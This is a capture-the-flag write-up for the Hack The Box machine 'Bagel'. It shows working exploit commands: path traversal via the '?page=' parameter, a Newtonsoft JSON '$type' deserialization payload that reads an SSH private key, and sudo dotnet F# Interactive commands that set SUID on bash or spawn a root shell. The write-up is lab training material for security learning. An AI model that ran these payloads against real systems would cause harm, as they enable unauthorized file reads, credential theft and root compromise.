bagel

Creator: CestLaVie

Machine URL: https://app.hackthebox.com/machines/Bagel

Difficulty: Medium


Initial Enumeration

 Nmap 7.93 scan initiated Wed Mar 29 16:12:19 2023 as: nmap -p- -oA nmap/nmap_initial --min-rate=4000 -vv -sC -sV 10.129.228.247
Nmap scan report for 10.129.228.247
Host is up, received echo-reply ttl 63 (0.041s latency).
Scanned at 2023-03-29 16:12:20 CEST for 114s
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE  REASON         VERSION
22/tcp   open  ssh      syn-ack ttl 63 OpenSSH 8.8 (protocol 2.0)
| ssh-hostkey: 
|   256 6e4e1341f2fed9e0f7275bededcc68c2 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEwHzrBpcTXWKbxBWhc6yfWMiWfWjPmUJv2QqB/c2tJDuGt/97OvgzC+Zs31X/IW2WM6P0rtrKemiz3C5mUE67k=
|   256 80a7cd10e72fdb958b869b1b20652a98 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINnQ9frzL5hKjBf6oUklfUhQCMFuM0EtdYJOIxUiDuFl
5000/tcp open  upnp?    syn-ack ttl 63
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 400 Bad Request
|     Server: Microsoft-NetCore/2.0
|     Date: Wed, 29 Mar 2023 14:12:45 GMT
|     Connection: close
|   HTTPOptions: 
|     HTTP/1.1 400 Bad Request
|     Server: Microsoft-NetCore/2.0
|     Date: Wed, 29 Mar 2023 14:13:00 GMT
|     Connection: close
|   Help, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/html
|     Server: Microsoft-NetCore/2.0
|     Date: Wed, 29 Mar 2023 14:13:11 GMT
|     Content-Length: 52
|     Connection: close
|     Keep-Alive: true
|     <h1>Bad Request (Invalid request line (parts).)</h1>
|   RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/html
|     Server: Microsoft-NetCore/2.0
|     Date: Wed, 29 Mar 2023 14:12:45 GMT
|     Content-Length: 54
|     Connection: close
|     Keep-Alive: true
|_    <h1>Bad Request (Invalid request line (version).)</h1>
8000/tcp open  http-alt syn-ack ttl 63 Werkzeug/2.2.2 Python/3.10.9
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/2.2.2 Python/3.10.9
|     Date: Wed, 29 Mar 2023 14:12:45 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.1 302 FOUND
|     Server: Werkzeug/2.2.2 Python/3.10.9
|     Date: Wed, 29 Mar 2023 14:12:40 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 263
|     Location: http://bagel.htb:8000/?page=index.html
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to the target URL: <a href="http://bagel.htb:8000/?page=index.html">http://bagel.htb:8000/?page=index.html</a>. If not, click the link.
|   Socks5: 
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request syntax ('
|     ').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
|_http-title: Did not follow redirect to http://bagel.htb:8000/?page=index.html
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-server-header: Werkzeug/2.2.2 Python/3.10.9
2 services unrecognized despite returning data.

Three ports are open: 22 (OpenSSH), 5000 (Unknown – Microsoft-NetCore/2.0), and 8000 (Werkzeug/2.2.2 Python/3.10.9).
We add bagel.htb to our /etc/hosts file.

Let’s start with the Werkzeug web application on TCP 8000.
This will probably be a Flask app.

Flask – bagel.htb:8000

Main page

http://bagel.htb:8000/?page=index.html

We are greeted by the website for a bagel shop.

Flask app

Note the page parameter. We should test it for path traversal vulnerabilities.

Orders page

http://bagel.htb:8000/orders

Returns a weird result with no HTML or CSS:

HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.10.9
Date: Fri, 02 Jun 2023 06:54:22 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 267
Connection: close

order #1 address: NY. 99 Wall St., client name: P.Morgan, details: [20 chocko-bagels]
order #2 address: Berlin. 339 Landsberger.A., client name: J.Smith, details: [50 bagels]
order #3 address: Warsaw. 437 Radomska., client name: A.Kowalska, details: [93 bel-bagels] 

We take note of it.


There is not much else to explore on this website.
Let’s test the page parameter on the main page.

Directory Traversal in /?page

We get the Directory Traversal with the most basic payload:

┌──(fluff㉿kali)-[/tmp]
└─$ curl http://bagel.htb:8000/?page=../../../../etc/passwd 
root❌0:0:root:/root:/bin/bash
bin❌1:1:bin:/bin:/sbin/nologin
daemon❌2:2:daemon:/sbin:/sbin/nologin
adm❌3:4:adm:/var/adm:/sbin/nologin
lp❌4:7:lp:/var/spool/lpd:/sbin/nologin
sync❌5:0:sync:/sbin:/bin/sync
shutdown❌6:0:shutdown:/sbin:/sbin/shutdown
halt❌7:0:halt:/sbin:/sbin/halt
mail❌8:12:mail:/var/spool/mail:/sbin/nologin
operator❌11:0:operator:/root:/sbin/nologin
games❌12💯games:/usr/games:/sbin/nologin
ftp❌14:50:FTP User:/var/ftp:/sbin/nologin
nobody❌65534:65534:Kernel Overflow User:/:/sbin/nologin
dbus❌81:81:System message bus:/:/sbin/nologin
tss❌59:59:Account used for TPM access:/dev/null:/sbin/nologin
systemd-network❌192:192:systemd Network Management:/:/usr/sbin/nologin
systemd-oom❌999:999:systemd Userspace OOM Killer:/:/usr/sbin/nologin
systemd-resolve❌193:193:systemd Resolver:/:/usr/sbin/nologin
polkitd❌998:997:User for polkitd:/:/sbin/nologin
rpc❌32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
abrt❌173:173::/etc/abrt:/sbin/nologin
setroubleshoot❌997:995:SELinux troubleshoot server:/var/lib/setroubleshoot:/sbin/nologin
cockpit-ws❌996:994:User for cockpit web service:/nonexisting:/sbin/nologin
cockpit-wsinstance❌995:993:User for cockpit-ws instances:/nonexisting:/sbin/nologin
rpcuser❌29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
sshd❌74:74:Privilege-separated SSH:/usr/share/empty.sshd:/sbin/nologin
chrony❌994:992::/var/lib/chrony:/sbin/nologin
dnsmasq❌993:991:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin
tcpdump❌72:72::/:/sbin/nologin
systemd-coredump❌989:989:systemd Core Dumper:/:/usr/sbin/nologin
systemd-timesync❌988:988:systemd Time Synchronization:/:/usr/sbin/nologin
developer❌1000:1000::/home/developer:/bin/bash
phil❌1001:1001::/home/phil:/bin/bash
_laurel❌987:987::/var/log/laurel:/bin/false

Let’s read some files and gather info.

/proc/self/cmdline

┌──(fluff㉿kali)-[/tmp]
└─$ curl http://bagel.htb:8000/?page=../../../../proc/self/cmdline --output -
python3/home/developer/app/app.py

Now we know the full path to the Flask app.

app.py

┌──(fluff㉿kali)-[/tmp]
└─$ curl http://bagel.htb:8000/?page=../app.py
from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json

app = Flask(__name__)

@app.route('/')
def index():
        if 'page' in request.args:
            page = 'static/'+request.args.get('page')
            if os.path.isfile(page):
                resp=send_file(page)
                resp.direct_passthrough = False
                if os.path.getsize(page) == 0:
                    resp.headers["Content-Length"]=str(len(resp.get_data()))
                return resp
            else:
                return "File not found"
        else:
                return redirect('http://bagel.htb:8000/?page=index.html', code=302)

@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
    try:
        ws = websocket.WebSocket()    
        ws.connect("ws://127.0.0.1:5000/") # connect to order app
        order = {"ReadOrder":"orders.txt"}
        data = str(json.dumps(order))
        ws.send(data)
        result = ws.recv()
        return(json.loads(result)['ReadOrder'])
    except:
        return("Unable to connect")

if __name__ == '__main__':
  app.run(host='0.0.0.0', port=8000)

We see the code that resulted in our Directory Traversal and the /orders route.
TCP 5000 is a WebSockets server.

Let’s confirm that we can interact with it in the same way that the Flask application does.
I will use wscat for this:

┌──(fluff㉿kali)-[/tmp]
└─$ wscat --connect ws://bagel.htb:5000                
Connected (press CTRL+C to quit)
> {"ReadOrder":"orders.txt"}
< {
  "UserId": 0,
  "Session": "Unauthorized",
  "Time": "10:07:45",
  "RemoveOrder": null,
  "WriteOrder": null,
  "ReadOrder": "order #1 address: NY. 99 Wall St., client name: P.Morgan, details: [20 chocko-bagels]\norder #2 address: Berlin. 339 Landsberger.A., client name: J.Smith, details: [50 bagels]\norder #3 address: Warsaw. 437 Radomska., client name: A.Kowalska, details: [93 bel-bagels] \n"
}

Yes, we can.

/proc/self/status

┌──(fluff㉿kali)-[/tmp]
└─$ curl http://bagel.htb:8000/?page=../../../../proc/self/status
Name:   python3
Umask:  0022
State:  S (sleeping)
Tgid:   896
Ngid:   0
Pid:    896
...

Let’s check neighboring pids:

/proc/894/cmdline

┌──(fluff㉿kali)-[/tmp]
└─$ curl http://bagel.htb:8000/?page=../../../../proc/894/cmdline --output -
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll  

Most likely, this is our NetCore WebSockets app.

┌──(fluff㉿kali)-[/tmp/bagel]
└─$ curl http://bagel.htb:8000/?page=../../../../proc/894/status                          
...
Uid:    1001    1001    1001    1001
Gid:    1001    1001    1001    1001
...

And it’s run by a user with UID 1001 – phil.

Let’s download it and investigate.

┌──(fluff㉿kali)-[/tmp/bagel]
└─$ curl http://bagel.htb:8000/?page=../../../../opt/bagel/bin/Debug/net6.0/bagel.dll > bagel.dll

Analyzing bagel.dll

I will use ILSpy to analyze this .NET application as I am running Linux.
If you are on Windows dnSpy can be used.

bagel_server.DB

In the bagel_server.DB we find SQL credentials.

SQL credentials

bagel_server.Bagel

In bagel_server.Bagel MessageReceived() we see how the Serialization and Deserialization are handled.

private static void MessageReceived(object sender, MessageReceivedEventArgs args)
	{
		string json = "";
		if (args.get_Data() != null && args.get_Data().Count > 0)
		{
			json = Encoding.UTF8.GetString(args.get_Data().Array, 0, args.get_Data().Count);
		}
		Handler handler = new Handler();
		object obj = handler.Deserialize(json);
		object obj2 = handler.Serialize(obj);
		_Server.SendAsync(args.get_IpPort(), obj2.ToString(), default(CancellationToken));
	}

bagel_server.Handler

bagel_server.Handler Deserialize()

using Newtonsoft.Json;
...
val.set_TypeNameHandling((TypeNameHandling)4);
return JsonConvert.DeserializeObject<Base>(json, val);
...

(TypeNameHandling)4 enum is Auto.
We may be dealing with Insecure JSON Deserialization.

Insecure JSON Deserialization in bagel.dll

Let’s check Base:

// bagel_server.Base
...
public class Base : Orders
...

Orders class is where we want to hunt for abusable objects.

// bagel_server.Orders
...
public class Orders
{
...
	public object RemoveOrder { get; set; }
...

And we have a convenient one – RemoveOrder.
Next, we need to find a method to call.

// bagel_server.File
public string ReadFile
{
	get
	{
		return file_content;
	}
	set
	{
		filename = value;
		ReadContent(directory + filename);
	}
}

bagel_server.File has a ReadFile method that will allow us to read any file phil has access to.

Exploitation

Here is a relevant blog post on a similar deserialization exploitation.

┌──(fluff㉿kali)-[/opt/ctf/htb/bagel]
└─$ wscat -c ws://bagel.htb:5000
Connected (press CTRL+C to quit)
> {"RemoveOrder": {"$type": "bagel_server.File, bagel", "ReadFile": "../../../home/phil/.ssh/id_rsa"}}

In response, we get phil’s id_rsa:

< {
  "UserId": 0,
  "Session": "Unauthorized",
  "Time": "6:53:11",
  "RemoveOrder": {
    "$type": "bagel_server.File, bagel",
    "ReadFile": "-----BEGIN OPENSSH PRIVATE KEY-----\n<REDACTED>\n-----END OPENSSH PRIVATE KEY-----",
    "WriteFile": null
  },
  "WriteOrder": null,
  "ReadOrder": null
}

phil

We can ssh as phil with this SSH private key.

┌──(fluff㉿kali)-[/opt/…/htb/bagel/loot]
└─$ ssh [email protected] -i phil_rsa

Grab /home/phil/user.txt to get the first flag.

The credentials that we have looted from bagel_server.DB in bagel.dll are reused for the user developer.
We can su developer.

[phil@bagel /]$ su developer
Password: 
[developer@bagel /]$ id
uid=1000(developer) gid=1000(developer) groups=1000(developer) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

developer

Let’s check if we can run anything via sudo:

[developer@bagel phil]$ sudo -l
Matching Defaults entries for developer on bagel:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION
    LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/var/lib/snapd/snap/bin

User developer may run the following commands on bagel:
    (root) NOPASSWD: /usr/bin/dotnet

Privilege escalation to root

Let’s see what we can do with this binary:

[developer@bagel /]$ sudo /usr/bin/dotnet --help
.NET SDK (6.0.113)
Usage: dotnet [runtime-options] [path-to-application] [arguments]
...
Additional commands from bundled tools:
...
  fsi               Start F# Interactive / execute F# scripts.
...

We can just call the Process.Start method from System.Diagnostics in the F# Interactive shell.

[developer@bagel /]$ sudo /usr/bin/dotnet fsi
...
> System.Diagnostics.Process.Start("chmod","+s /bin/bash");;
...
> #quit;;
[developer@bagel /]$ ls -la /bin/bash
-rwsr-sr-x. 1 root root 1431888 Jan  2 14:01 /bin/bash

bash is now a SUID binary and we can obtain root with bash -p.

[developer@bagel /]$ bash -p
bash-5.2# id
uid=1000(developer) gid=1000(developer) euid=0(root) egid=0(root) groups=0(root),1000(developer) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

We are root!
Grab the flag from /root/root.txt and we are done.

PS: A better way to use F# Interactive

After the box release the dotnet entry on GTFOBins was amended to include the sudo abuse:

sudo /usr/bin/dotnet fsi
> System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;

Will spawn sh as root.